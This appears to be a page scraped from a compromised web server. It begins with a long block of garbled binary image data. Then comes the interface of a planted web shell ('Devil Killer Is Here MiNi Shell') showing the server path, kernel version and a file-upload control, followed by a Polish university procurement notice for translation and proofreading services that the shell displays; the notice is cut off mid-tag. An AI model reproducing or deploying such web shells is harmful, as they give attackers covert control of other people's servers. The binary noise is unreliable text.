JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20220531/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20220531/0018615801-N-2022.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Usługa tłumaczenia i korekty tekstów technicznych i artykułów naukowych na potrzeby Wydziału Elektroniki, Telekomunikacji i Informatyki Politechniki Gdańskiej. </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Politechnika Gdańska</span></h3> <h3 class="mb-0">1.3.) Oddział zamawiającego: <span class="normal">Wydział Elektroniki Telekomunikacji i Informatyki</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 000001620</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Narutowicza 11/12</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Gdańsk</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">80-233</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">pomorskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL633 - Trójmiejski</span></h3> <h3 class="mb-0">1.5.7.) Numer telefonu: <span class="normal">+48 583486152</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">logistyka@eti.pg.edu.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.pg.edu.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - uczelnia publiczna</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Edukacja</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Usługa tłumaczenia i korekty tekstów technicznych i artykułów naukowych na potrzeby Wydziału Elektroniki, Telekomunikacji i Informatyki Politechniki Gdańskiej. </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-da252d63-e0b3-11ec-9a86-f6f4c648a056</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2022/BZP 00186158</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2022-05-31</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://platformazakupowa.pl/pn/pg_edu <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://platformazakupowa.pl/pn/pg_edu</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">1. Postępowanie prowadzone jest w języku polskim.<br/> 2. Postępowanie, którego dotyczy niniejszy dokument, oznaczone jest znakiem:CRZP/150/009/U/22 .3. Wykonawcy we wszystkich kontaktach z Zamawiającym powinni powoływać się na ten znak. 4. W postępowaniu o udzielenie zamówienia komunikacja między Zamawiającym a Wykonawcami odbywa się przy użyciu platformy zakupowej https://platformazakupowa.pl/pn/pg_edu oraz poczty elektronicznej. 5. We wszelkiej korespondencji związanej z niniejszym postępowaniem Zamawiający i Wykonawcy posługują się numerem ogłoszenia lub znakiem postępowania. 6. Zaleca się, aby komunikacja z wykonawcami odbywała się tylko na Platformie za <br/>pośrednictwem formularza “Wyślij wiadomość”, nie za pośrednictwem adresu email. 7. W celu skrócenia czasu udzielenia odpowiedzi na pytania Zamawiający preferuje, aby komunikacja między zamawiającym a wykonawcami, w tym wszelkie oświadczenia, wnioski, zawiadomienia oraz informacje, przekazywane były w formie elektronicznej za pośrednictwem Platformy i formularza „Wyślij wiadomość do zamawiającego”. Za datę przekazania (wpływu) oświadczeń, wniosków, zawiadomień oraz informacji Zamawiający uzna datę ich przesłania za pośrednictwem Platformy poprzez kliknięcie przycisku „Wyślij wiadomość” po których pojawi się komunikat, że wiadomość została wysłana do zamawiającego. 8. Zamawiający będzie przekazywał wykonawcom informacje w formie elektronicznej za pośrednictwem Platformy. Informacje dotyczące odpowiedzi na pytania, zmiany specyfikacji, zmiany terminu składania i otwarcia ofert Zamawiający będzie zamieszczał na platformie w sekcji “Komunikaty”. Korespondencja, której zgodnie z obowiązującymi przepisami adresatem jest konkretny wykonawca, będzie przekazywana w formie elektronicznej za pośrednictwem Platformy do konkretnego wykonawcy. 9. Niezbędne wymagania sprzętowo - aplikacyjne umożliwiające pracę na platformazakupowa.pl, tj.:a) stały dostęp do sieci Internet o gwarantowanej przepustowości nie mniejszej niż <br/> 512 kb/s,<br/>b) komputer klasy PC lub MAC o następującej konfiguracji: pamięć min. 2 GB <br/> Ram, procesor Intel IV 2 GHZ lub jego nowsza wersja, jeden z systemów <br/> operacyjnych – MS Windows 7, Mac Os x 10 4, Linux, lub ich nowsze wersje,<br/>c) zainstalowana dowolna przeglądarka internetowa, za wyjątkiem Internet <br/> Explorer, ze względu na zakończenie z dniem 17 sierpnia 2021 r. wspierania <br/> przeglądarki Internet Explorer przez firmę Microsoft, d) włączona obsługa JavaScript, e) zainstalowany program Adobe Acrobat Reader lub inny obsługujący format plików .pdf,<br/>f) Platforma działa według standardu przyjętego w komunikacji sieciowej – <br/> kodowanie UTF8, g) Oznaczenie czasu odbioru danych przez platformę zakupową stanowi datę oraz dokładny czas (hh:mm:ss) generowany wg. czasu lokalnego serwera zsynchronizowanego z zegarem Głównego Urzędu Miar.<br/>10. Wykonawca, przystępując do niniejszego postępowania o udzielenie zamówienia publicznego: a) musi zaakceptować warunki korzystania z platformazakupowa.pl określone w <br/> Regulaminie zamieszczonym na stronie internetowej pod linkiem w zakładce <br/> „Regulamin&#34; oraz uznać go za wiążący,<br/> b) musi się zapoznać i stosować do Instrukcji składania ofert/wniosków dostępnej <br/> pod linkiem: https://platformazakupowa.pl/strona/45-instrukcje<br/><br/> 11. Zamawiający informuje, że instrukcje korzystania z Platformy dotyczące w <br/> szczególności logowania, składania wniosków o wyjaśnienie treści SWZ, składania <br/> ofert oraz innych czynności podejmowanych w niniejszym postępowaniu przy użyciu <br/> Platformy znajdują się w zakładce „Instrukcje dla Wykonawców&#34; na stronie internetowej <br/> pod adresem: https://platformazakupowa.pl/strona/45-instrukcje</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">1. Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1 oraz Dz. Urz. UE L 127 z 23.05.2018, str. 2), dalej „RODO”, Zamawiający informuje, że:<br/> a) administratorem Pani/Pana danych osobowych jest Politechnika Gdańska z <br/> siedzibą w 80-233 Gdańsk przy ul. G. Narutowicza 11/12;<br/>b) inspektorem ochrony danych osobowych w Politechnice Gdańskiej jest mgr inż. Paweł Baniel, tel. +48 58 348-66-29, e-mail: iod@pg.edu.pl;<br/> c) Pani/Pana dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c <br/> RODO w celu związanym z przedmiotowym postępowaniem o udzielenie <br/>zamówienia publicznego nr CRZP/150/009/U/22 pn. „Usługa tłumaczenia i korekty tekstów technicznych i artykułów naukowych na potrzeby Wydziału Elektroniki, Telekomunikacji i Informatyki Politechniki Gdańskiej”;<br/>d) odbiorcami Pani/Pana danych osobowych będą osoby lub podmioty, którym <br/>udostępniona zostanie dokumentacja postępowania w oparciu o art. 18 oraz art. 74 ustawy z dnia 11 września 2019 r. Prawo zamówień publicznych;<br/>e) Pani/Pana dane osobowe będą przechowywane, zgodnie z art. 78 ust. 1 ustawy Pzp, przez okres 4 lat od dnia zakończenia postępowania o udzielenie zamówienia, a jeżeli czas trwania umowy przekracza 4 lata, okres przechowywania cały czas trwania umowy; f) obowiązek podania przez Panią/Pana danych osobowych bezpośrednio Pani/Pana dotyczących jest wymogiem ustawowym określonym w przepisach ustawy Pzp, <br/> związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego; <br/> konsekwencje niepodania określonych danych wynikają z ustawy Pzp;<br/> g) w odniesieniu do Pani/Pana danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany, stosowanie do art. 22 RODO;<br/> h) posiada Pani/Pan:<br/>− na podstawie art. 15 RODO prawo dostępu do danych osobowych Pani/Pana dotyczących;<br/>− na podstawie art. 16 RODO prawo do sprostowania Pani/Pana danych <br/> osobowych (skorzystanie z prawa do sprostowania nie może skutkować <br/>zmianą wyniku postępowania udzielenie zamówienia publicznego ani zmianą <br/>postanowień umowy w zakresie niezgodnym z ustawą Pzp oraz nie może <br/>naruszać integralności protokołu oraz jego załączników);<br/>− na podstawie art. 18 RODO prawo żądania od administratora ograniczenia <br/>przetwarzania danych osobowych z zastrzeżeniem przypadków, o których mowa w art. 18 ust. 2 RODO (prawo do ograniczenia przetwarzania nie ma <br/> zastosowania w odniesieniu do przechowywania, w celu zapewnienia <br/> korzystania ze środków ochrony prawnej lub w celu ochrony praw innej osoby <br/> fizycznej lub prawnej, lub z uwagi na ważne względy interesu publicznego <br/> Unii Europejskiej lub państwa członkowskiego);<br/> − prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych <br/> z siedzibą w Warszawie, przy ul. Stawki 2, 00-193 Warszawa, gdy uzna<br/> Pani/Pan, że przetwarzanie danych osobowych Pani/Pana dotyczących <br/> narusza przepisy RODO;<br/> i) nie przysługuje Pani/Panu:<br/> − w związku z art. 17 ust. 3 lit. b, d lub e RODO prawo do usunięcia danych <br/> osobowych;<br/> − prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/> − na podstawie art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych <br/> osobowych, gdyż podstawą prawną przetwarzania Pani/Pana danych <br/> osobowych jest art. 6 ust. 1 lit. c RODO.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Stosownie do art. 19 ust. 4 ustawy Pzp, Zamawiający informuje o ograniczeniach, <br/> o których mowa w art. 19 ust. 2 i 3 oraz 75 ustawy Pzp:<br/> 1) Zamawiający udostępnia dane osobowe, o których mowa w art. 10 rozporządzenia <br/> Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie <br/> ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie <br/> swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne <br/> rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1, z późn. zm.), <br/> zwanego dalej &#34;rozporządzeniem 2016/679&#34;, w celu umożliwienia korzystania ze środków <br/> ochrony prawnej, o których mowa w dziale IX, do upływu terminu na ich wniesienie <br/> 2) Skorzystanie przez osobę, której dane osobowe dotyczą, z uprawnienia do sprostowania lub <br/> uzupełnienia, o którym mowa w art. 16 rozporządzenia 2016/679, nie może skutkować <br/> zmianą wyniku postępowania o udzielenie zamówienia ani zmianą postanowień umowy w <br/> sprawie zamówienia publicznego w zakresie niezgodnym z ustawą. <br/> 3) W postępowaniu o udzielenie zamówienia zgłoszenie żądania ograniczenia przetwarzania, o <br/> którym mowa w art. 18 ust. 1 rozporządzenia 2016/679, nie ogranicza przetwarzania danych <br/> osobowych do czasu zakończenia tego postępowania.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">CRZP/150/009/U/22</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.5.) Łączna wartość poszczególnych części zamówienia: <span class="normal"> 519200,00 PLN </span> </h3> <h3 class="mb-0">4.1.6.) Wartość zamówienia stanowiącego przedmiot tego postępowania (bez VAT): <span class="normal"> 116579,85 PLN </span> </h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Przedmiotem zamówienia jest usługa tłumaczenia i korekty tekstów technicznych i <br/> artykułów naukowych z dziedziny nauk inżynieryjno-technicznych w zakresie dyscyplin <br/> naukowych automatyka, elektronika i elektrotechnika, informatyka techniczna i <br/> telekomunikacja, inżynieria biomedyczna, inżynieria materiałowa na potrzeby Wydziału <br/> Elektroniki, Telekomunikacji i Informatyki Politechniki Gdańskiej, na warunkach <br/> określonych w Specyfikacji Warunków Zamówienia, zwanej dalej SWZ. <br/><br/> 2. Szczegółowy opis przedmiotu zamówienia obejmuje:<br/> a) tłumaczenia pisemne tekstu technicznego z języka polskiego na język angielski <br/> (brytyjski) oraz z języka angielskiego na język polski, wykonane przez tłumacza <br/> przysięgłego języka angielskiego, <br/> b) tłumaczenia artykułów naukowych z języka polskiego na język angielski (brytyjski i/lub <br/> amerykański) wraz z korektą językową wykonaną przez Native Speakera,<br/> c) korektę językową artykułów naukowych w języku angielskim wykonaną przez <br/> Native Speakera, <br/><br/> 3. Szacowana liczba stron rozliczeniowych w okresie obowiązywania umowy wynosi:<br/> a) 100 stron – tłumaczenia pisemnego tekstu technicznego z języka polskiego na język <br/> angielski (brytyjski), wykonanego przez tłumacza przysięgłego języka <br/> angielskiego,<br/> b) 100 stron – tłumaczenia pisemnego tekstu technicznego z języka angielskiego na <br/> język polski, wykonanego przez tłumacza przysięgłego języka <br/> angielskiego,<br/> c) 100 stron – tłumaczenia /zwykłego/ artykułów naukowych z języka polskiego na <br/> język angielski (brytyjski i/lub amerykański) wraz z korektą językową <br/> wykonaną przez Native Speakera,<br/> d) 3000 stron – korekty językowej artykułów naukowych w języku angielskim wykonanej <br/> przez Native Speakera, <br/><br/> 4. Faktyczna liczba stron rozliczeniowych zostanie określona po wykonaniu usługi.<br/><br/> 5. Za obliczeniową stronę tłumaczenia przysięgłego przyjmuje się 1125 znaków, a <br/> tłumaczenia zwykłego i korekty 1800 znaków wraz ze spacjami. Liczba znaków <br/> tłumaczenia i korekty stanowiącą podstawę do zapłaty wynagrodzenia nie obejmuje <br/> niepodlegających tłumaczeniu jednolitych bloków danych liczbowych, teleadresowych, <br/> nazw własnych, tabel, wykresów itp. Liczba znaków liczona jest po dokonaniu <br/> tłumaczenia lub korekty.<br/><br/> 6. Strony ustalają, że cena tłumaczenia i korekty pierwszej strony jest niezależna od liczby <br/> znaków. Każdą następną stronę liczy się jak pełną jeśli ma ponad 900 znaków, jeśli <br/> znaków jest mniej, opłata wynosi połowę stawki za stronę. <br/><br/> 7. Tłumaczone teksty dotyczyć będą:<br/> - przepisów prawnych/ rozporządzeń, dokumentów przetargowych,<br/> - opinii naukowych w zakresie dyscyplin naukowych: automatyka, elektronika i <br/> elektrotechnika, informatyka techniczna i telekomunikacja, inżynieria biomedyczna, <br/> inżynieria materiałowa,<br/> - specjalistycznych artykułów naukowych w zakresie dyscyplin naukowych: automatyka, <br/> elektronika i elektrotechnika, informatyka techniczna i telekomunikacja, inżynieria <br/> biomedyczna, inżynieria materiałowa<br/><br/> 8. Korekta tekstów dotyczyć będzie specjalistycznych artykułów naukowych w języku <br/> angielskim, w zakresie dyscyplin naukowych: automatyka, elektronika i elektrotechnika, <br/> informatyka techniczna i telekomunikacja, inżynieria biomedyczna, inżynieria <br/> materiałowa. Korekta zostanie wykonana przez Native Speakera. <br/><br/> 9. Realizacja przedmiotu umowy będzie następować sukcesywnie w terminie 24 miesięcy <br/> od dnia zawarcia umowy lub do wyczerpania całkowitej kwoty umownej, w zależności <br/> co nastąpi pierwsze. W przypadku, gdy w terminie wskazanym z zdaniu pierwszym nie <br/> zostanie wykorzystane łączne wynagrodzenie brutto z tytułu realizacji przedmiotu umowy <br/> przewiduje się możliwość przedłużenia terminu realizacji umowy. W takim przypadku <br/> strony zmienią umowę w zakresie terminu zakończenia realizacji przedmiotu umowy od <br/> daty wskazanej przez Zamawiającego, jednak nie dłużej niż o 6 miesięcy, na co <br/> Wykonawca musi wyrazić zgodę w formie pisemnej.<br/><br/><br/><br/> 10. Termin realizacji tłumaczenia i/lub korekty 1 dokumentu wynosi – max 5 dni <br/> roboczych. Termin ten stanowi kryterium oceny ofert.<br/><br/> 11. Zamawiający zastrzega sobie prawo do niezrealizowania przedmiotu zamówienia w <br/> całości, to jest w Ilościach wskazanych w pkt. 3 powyżej, jednak nie więcej niż 25 % <br/> zakresu świadczeń umownych. Rzeczywista liczba stron będzie wynikać z liczby <br/> zgłoszonych dokumentów. <br/><br/> 12. Zamawiający zastrzega sobie prawo zwiększenia zakupu usług, przekraczając ilości <br/> określone w pkt. 3, na które będzie większe od szacowanego zapotrzebowanie, przy <br/> zachowaniu cen jednostkowych określonych przez Wykonawcę w ofercie oraz nie <br/> przekraczając wynagrodzenia należnego Wykonawcy.<br/><br/> 13. Maksymalne wynagrodzenie umowne brutto obejmować będzie całkowitą należność jaką <br/> Zamawiający zobowiązany jest zapłacić Wykonawcy za cały okres trwania umowy w tym <br/> również dopłatę za dodatkowy dokument uwierzytelniony, dopłatę za stopień <br/> skomplikowania tekstu. Rzeczywiste wynagrodzenie brutto będzie zależało od liczby <br/> zgłoszonych przez Zamawiającego, w trakcie trwania umowy, dokumentów. <br/><br/> 14. W przypadku powierzenia realizacji umowy podwykonawcom, Wykonawca ponosi pełną <br/> odpowiedzialność wobec Zamawiającego za ich działania lub zaniechania.<br/><br/> 15. Zamawiający przekaże Wykonawcy materiały źródłowe niezbędne do realizacji <br/> przedmiotu Umowy drogą elektroniczną (pliki w formatach .doc i .pdf, LaTeX) na adres <br/> mailowy wskazany w ofercie Wykonawcy.<br/><br/> 16. Wykonawca dostarczy Zamawiającemu tłumaczenie przysięgłe w formie papierowej (dwa <br/> egzemplarze) i elektronicznej (na nośniku CD). Każdy egzemplarz tłumaczenia <br/> uwierzytelniony będzie podpisem i pieczątką tłumacza przysięgłego.<br/><br/> 17. Wykonawca dostarczy Zamawiającemu skorygowany tekst w formie elektronicznej.<br/><br/> 18. Odbioru przedmiotu umowy pod względem zgodności z ofertą dokona upoważniony przez <br/> Zamawiającego która dokonała tłumaczenia lub korekty tekstów. <br/><br/> 19. W przypadku uwag dotyczących realizacji przedmiotu umowy lub stwierdzonych wad <br/> przedmiotu umowy, strony ustalą sposób oraz termin usunięcia nieprawidłowości. Termin <br/> ten nie będzie dłuższy niż 7 dni kalendarzowych. Wystąpienie powyższych okoliczności <br/> nie uchyla uprawnień Zamawiającego oraz konsekwencji Wykonawcy związanych z <br/> niedotrzymaniem terminu realizacji umowy określonych w umowie i odpowiedzialności za <br/> niewykonanie lub nienależyte wykonanie.<br/><br/> 20. Wykonawca zobowiązuje się do zachowania w tajemnicy wszelkich informacji, które nabył <br/> w trakcie realizacji umowy oraz do niewykorzystywania jakichkolwiek materiałów, z którymi <br/> zetknął się w trakcie realizacji przedmiotu umowy.<br/><br/> 21. Kody klasyfikacji Wspólnego Słownika Zamówień: 79530000-8 - Usługi w zakresie <br/> tłumaczeń pisemnych.<br/><br/> 22. Szczegółowy opis przedmiotu zamówienia zawiera Załącznik nr 5 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <!-- realizacja w dniach --> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert</h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze oferty zamawiający będzie się kierował następującymi kryteriami:<br/>1. Cena oferty brutto - 60pkt<br/>2. Kryterium jakościowe: Termin realizacji tłumaczenia i korekty 1 dokumentu - 40pkt</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal"> Punktowo </span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 